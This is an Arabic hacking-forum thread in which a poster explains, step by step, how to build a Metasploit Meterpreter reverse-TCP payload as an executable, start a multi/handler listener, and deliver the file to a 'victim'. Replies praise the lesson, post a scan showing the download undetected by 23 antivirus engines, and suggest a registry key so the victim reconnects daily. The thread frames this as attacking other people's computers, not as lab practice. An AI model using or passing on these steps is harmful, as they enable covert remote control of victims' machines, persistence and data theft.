|
[الدرس السادس] صناعة بايلود Meterpreter بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاتة مدري طولت عليم بالدرس السادس لكن ظروف وامتحانات ... الله بعين .... الحمد لله وشكر لله درسنا اليوم يكون عن صناعة بايلود اسمه Meterpreter وانا اعتبره من اقوى وافضل البايلود من بين البايلودات الاخرى والاغلب يعتبره قوية لانه قوية :D ما قوي الا الله يستعمل هذا البايلود بعد صناعته بأمتداد exe او pl في التحكم بجهاز الضحية ببعض الاوامر الذي يكون الامر يحل محل امر قوي كأمر زرع ريجستري ..واو ... وامر رفع ملف لجهاز الضحية وتشغيله وسحب ملف و و و ان شاء الله بهل الاكمن يوم ادرجها لكم ... الدرس فيديو لكن شرحته كتابي وبأمكانك ايضا تحميله يعني فيديو + كتابي لأصحاب النت الضعيفة نبدأ الدرس ملاحظة: هنا سنستخدم CMd shell في الميتاسبلويت وليس msfweb يعني ليس الرابط الذي تشعه بالمتصفح 127.0.0.1:55555 اول شيء نفتحه عن طريق ابدأ >> البرامج >>> Metasploit 3 >>> الكومند شيل CMD shell نبدأ الدرس بأول امر وهو كود PHP: هناك شروحات عن صناعة هذا ويشبه الشرح لكن هناك تطبيق دون فهم اي شيء منها يعني فيك تقول الفيديوهات عن هذه البايلود منقول لكن يختلف مقدم الفيديو .. انا وضعته لكي لا حد يتسائل الآن الشرح الفيديو لي انا مش هذا موضوعنا نبدأ بالشرح ruby : كلمة تبدأ بها في اي شيء تستخدمه عن طريق CMD shell يكون بدايته ruby هذا ما نختلف عليه سواء كنت تستخدم msfcli سوف تكتب اول كلمة وهي ruby msfpayload : تستخدم في في اسخدام بايلود نحن في هذه الحالة نستخدم صناعة بايلود وليس استخدام ثغرة .ز لو كان ثغرة كا وضعنا msfcli وجزء msf هو اساسي تضعه في البداية وبعدها النوع windows/meterpreter/reverse_tcp : وهي اسم بايلود الميتر بريتر يعني ... نيجي لآخر مقطع reverse_tcp تستخدم في الاتصال العكسي مفيد في تخطي الجدار الناري وبأمكانكم وضع bind_tcp اذا كنت متأكد من البورت مفتوح .. لكن يفضل وضع اتصال عكسي ..... مش واحد ييجي ويقول بدي اضع الاثنين .. لكي اذا لم يزبط اتصال عكسي يجرب تلقائئي اتصال مباشر ويكون امره bind_tcp+reverse_tcp خخخخ <<< خخخ هذا غلط يا اخوان اما عكسي او مباشر ... واسم البايلود موجود بلميتا عن طريق وضع امر show payloads بتحصل هذه البايلود LHOST : الكل يعرفها اذا تابع دروسي من اولها وهي لأختيار اي بي جهازك الذي تريد وصول التبليغ عليه يعني بأختصار تضع اي بي جهازك المحلي LPORT : البورت الذي تريد استخدامه في الثغرة ويلزم يكون مفتوح بالراوتر X : لصناعة البايلود بأمتداد exe اي تنفيذي وان شئت بأمكانك وضع P بدل X فيصنع البايلود بأمتداد بيرل لكن يلزم تعدل على الامتددا بوضع meter.pl > : تستخدم لتشير الى وضعه بالمسار كذا يعني يتبعها المسار "C:\"vbspiders.exe : هذا هو المسار لكن يحصر المسار بين علامتي تنصيص " وبعدها تكتب الاسم وبأمكانك وضع اي اسم تريد ولا يشترط هذا الاسم فقط الآن نضغط انتر وننتظر الصناعة ورح يتم صناعتة بالمسار C وبحجم 9.50 كيلو بايت الآن نريد نتصنت عليها بثغة تصنت بالميتا ويكون الامر هكذا كود PHP: اول شيء ruby : شرحناه فوق msfcli : لأستخدام ثغرة << في هذه المر ثغرة وليس بايلود فنستخدم بالثغرات msfcli بعدها يتبعها اسم الثغرة التصنت وهي multi/handler هي بالحقيقة لا تعتبر بأس ثغرة وانما بأسم اداة كالنت كات لكن هذه مخصصة فقط للتصنت على ثغرات الميت فقط PAYLOAD= : وضع اسم البايلود التي نريد استخدامه يجب وضع اسم البايلود الذي نريد استخدامه حسب الذي تم صناعته من قبلك يعني الامر كما هو موضح PAYLOAD=windows/meterpreter/reverse_tcp الخلاصة انك تضع اسم البايلود الذي تريد التصنت عليه LHOST=192.168.1.1 : الاي بي الذي وضعناه في اعدادات صناعة البايلود وانت استبدله بأي بي ججهازك المحلي LPORT=9999 : البورت الذي وضعناه في اعدادات الثغرة واستبدله بالبورت الذي تريد على حسب ما تم وضعه في ثغرتك ولا تسوا حرف E لانه لن يتم عمل الثغرة الا بعد وضع هذا الحرف الآن نضغط انتر وننتظر الآن هيك تم الصناعة والتصنت يبقى ارسالة للضحية بأي طريقة تريدها ... جربه على نفسك لكي تعتاد عليه موفقين شباب الى الامام بعون الله هذا رابط الفيديو واشوفه اشمل وافضل من الكتابة لأنكم اول مرة للي يمرون عليه Download اي استفسار او شيء اناا جاهز ##### تحياتي لا للاحتكار المجهوول |
يا كبير والله خيرك كثير :) ابداعك ملموس يا ورده |
يعطيك العافية درس جميل بانتظار جديدك |
مشكووور اخوي المجهووول واصل ابدااعك واتمنى انه ما يكون اخر درس بأنتظار الدرس القادم |
File Info Report generated: 2.10.2009 at 19.19.17 (GMT 1) Filename: meterpreter.rar File size: 26 KB MD5 Hash: c9fc624ab913aef3c7e323db9ff59af0 SHA1 Hash: B75FDB48C8972E574D18D235E923807B93733B61 Self-Extract Archive: Nothing found Binder Detector: Nothing found Detection rate: 0 on 23 Detections a-squared - - Avira AntiVir - - Avast - - AVG - - BitDefender - - ClamAV - - Comodo - - Dr.Web - - Ewido - - F-PROT6 - - Ikarus T3 - - Kaspersky - - McAfee - - NOD32 v3 - - Norman - - Panda - - QuickHeal - - Solo Antivirus - - Sophos - - TrendMicro - - VBA32 - - VirusBuster - - ZonerAntivirus - - Scan report generated by NoVirusThanks.org cleeeeeeeeeeeeeeeeeeeeeeeeen |
تسسسلم حبيبي وأنشاء الله راح أستمر بمواضيعك الجميله لاني كونت أتجول بمحرك البحث ][ قوقل ][ فوجدت هذا الموضوع وأجبرت أن أسجل في منتداكم لاني أحب الاختراق المستهدف وأنا لم أجربها بحياتي وأريد أنا أجرب طريقتك وبإذن الله تنجح شكرآ لك .. |
جميل الفديو فهمت اكثر وياريت لو اعدت صناعة كل الدروس فديو حتي تكون الدوره اكثر فهم بارك الله فيك والى فهمته انك تقريبا بتصنع حاجه شبيها بالباتش عند فتحها يصل التبليغ ارجوا ان توضح اذا كان فهمي خاطء |
انا من عشاق الميتا سبلويت ولم اجد درس اسهل في شرحه اكتر من دروسك موفق انشالله |
طيب انا عملت البايلود والتبليغ فعلا شغال طيارة ( زي ما بيقولوا ) لكن المشكله ان التبليغ علي الايبي ... وطبعا الايبي بيتغير حتي لما بجيب الايبي من موقع cmyip او اي موقع تاني فا الايبي دا بردو مش ثابت ولما عملته علي هوست للنو ايبي مشتغلش ... هل في طريقة يوصلني بها التبليغ ؟؟؟؟؟؟؟ ولا اشتغل شبكات محلية بس ؟ |
ملك ملك ملك على رااسي يا كبييييييير راائع انت حتى النخااع يعني كيف اوصف شعووري لما شوفت شرحك ما بعرف تخيل يا مجهوول انا نزلت اليونكس على جهاازي بس عشان شوفت شرح وااحد من الاخوان على الانترنت و كان الشرح صناااعه بايلوود ... لكن كان على اليونكس ×_× و رحت اجرب على الويندوز ما عرفت قلت يا شيخ نزلها نزلتها من النت و حرقتها على قرص و ثبتت و كلالالالالام كثثيرر و الحمد لله زبطت معاي على اليونكس لكن المجهوول الراائع و شرحي ايها بالصوور بحق انت رااائع وااااااصل يا مبدع و اذا شااق عليك اي حاجه و ما قدرت تكمل الدرووس ممكن اساعدك فيها لو تريد ^^ في خدمتك لا للاحتكاار |
اقتباس:
و انت استخدمت في صناعه البايلود اي بي الـمودم و لا اي بي اللي جاك على كومي اي بي وضح اكثر ^^ |
الميتاسبلويت مباشرة الاختراق يعني تخترق الواحد وبعد ما يتغير الاي بلي اكيد مش رح يتم الاتصال كمان مرة لذا الميتا اعطتك خيارات كثار بامكانك رفع سيرفر بيفروست وتشغيله عن طريقها ويوجد هناك اظن مش متذكر منيح لاني تركتها اكمن فترة لكن بتذكر انه يوجد خيار زرع مفتاح ريجستر يعني اذا انت بتعرف بهذه الدواوين بتخترع لك شيء يخلي الضحية كل يوم يتصل بك ## تحياتي لاا للاحتكار المجهوول |
مبدع والله تسلم يمينك يا بطل |
اخواني ممكن سوال وين القي cmd shell لاني دورت عليه وما لقيته |
thanks man very nice |
| الساعة الآن 05:00 AM |
[ vBspiders.Com Network ]